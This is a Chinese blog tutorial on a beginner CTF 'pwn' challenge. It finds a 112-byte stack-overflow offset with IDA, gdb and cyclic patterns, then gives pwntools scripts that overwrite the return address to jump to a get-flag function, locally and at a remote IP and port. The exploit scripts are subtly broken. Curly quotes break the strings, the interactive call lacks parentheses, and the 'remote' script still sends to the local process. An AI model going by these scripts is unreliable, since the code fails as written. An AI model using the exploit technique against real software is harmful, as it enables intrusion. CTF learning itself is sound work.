PWN入门之栈溢出

实验目的

通过此次实验,目的是掌握如何去通过使栈溢出来get flag。

实验文件

链接:https://pan.baidu.com/s/1UFPRJcAcLud8dRe0sCKaSg
提取码:rkyi

实验步骤

  1. 先利用IDA对pwn文件进行静态调试
    对pwn文件进行反编译
    main主函数的反编译
    因为CFT是夺旗赛,所以我们首先要找到get flag的函数

  2. 利用gdb进行动态调试
    运行可执行文件pwn
    我们就可以利用栈溢出获取系统权限
    我认为有两种方法来获得使栈溢出所需要的填充量
    (1)、利用通过输入大量的字符来使其达到溢出,判断溢出的位置,从而获得栈长。
    cyclic函数
    我们利用cyclic length函数产生若干个有序字符。
    利用cyclic 300产生300个有序字符。在这里插入图片描述
    用gdb来运行pwn文件,利用run指令使程序跑起来,并将之前利用cyclic 300产生的有序字符输入。
    在这里插入图片描述
    输入后会使栈溢出,产生报错信息
    在这里插入图片描述
    获得0x62616164,看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢?就是我们300个有序字符其中最先溢出的第部分。所以,0x62616164是栈溢出的位置。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。然后利用cyclic -l,这个函数代表着查询你所给的4bit字符前有几个字母。
    在这里插入图片描述
    得到112,112就是我们填充栈所需的数量。
    (2)、利用gdb动态调试,找到ebp和esp的值
    找到函数中需要输入的位置
    在这里插入图片描述
    利用pattern create 200产生字符,并将产生的字符输入到该输入的地方
    在这里插入图片描述

    确认ebp到输入位置的偏移量为108
    在这里插入图片描述
    在这里插入图片描述
    但是,计算输入到ret的偏移量,所以就在加上0x04。得到偏移量为112。
    (3)、直接通过gdb调试,看函数输入位置到ret 的距离

    在这里插入图片描述
    通调试发现输入点的地址为esp+0x1c,而ret的位置在ebp+0x04
    所以需要填充的字符数为(ebp+0x04)-(esp+0x1c)=0x70=112(hex)。

  3. 获得覆盖ret的地址,即需要跳转的get flag的地址
    在这里插入图片描述

    这里get flag的地址为0x0804858B

  4. 编写payload脚本

    from pwn import *
    sh=process(’./pwn’)
    elf=ELF(’./pwn’)
    target=0x0804858B
    #覆盖ret的地址
    sh.sendline(‘a’*112+p32(target))
    #112为栈所需要的覆盖量
    sh.interactive

    利用python 3.py pwn来运行脚本在这里插入图片描述

  5. 远端控制
    pwn之远端控制,其他操作都不变,只是payload的脚本变了。

from pwn import *
    sh=process('./pwn')
    p = remote ("138.128.212.238" ,9999)
    #这里输入远程控制服务器的地址
    target=0x0804858B
    #覆盖ret的地址
    sh.sendline('a'*112+p32(target))
    #112为栈所需要的覆盖量
    sh.interactive
    

也是运用python 脚本名.py pwn
在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值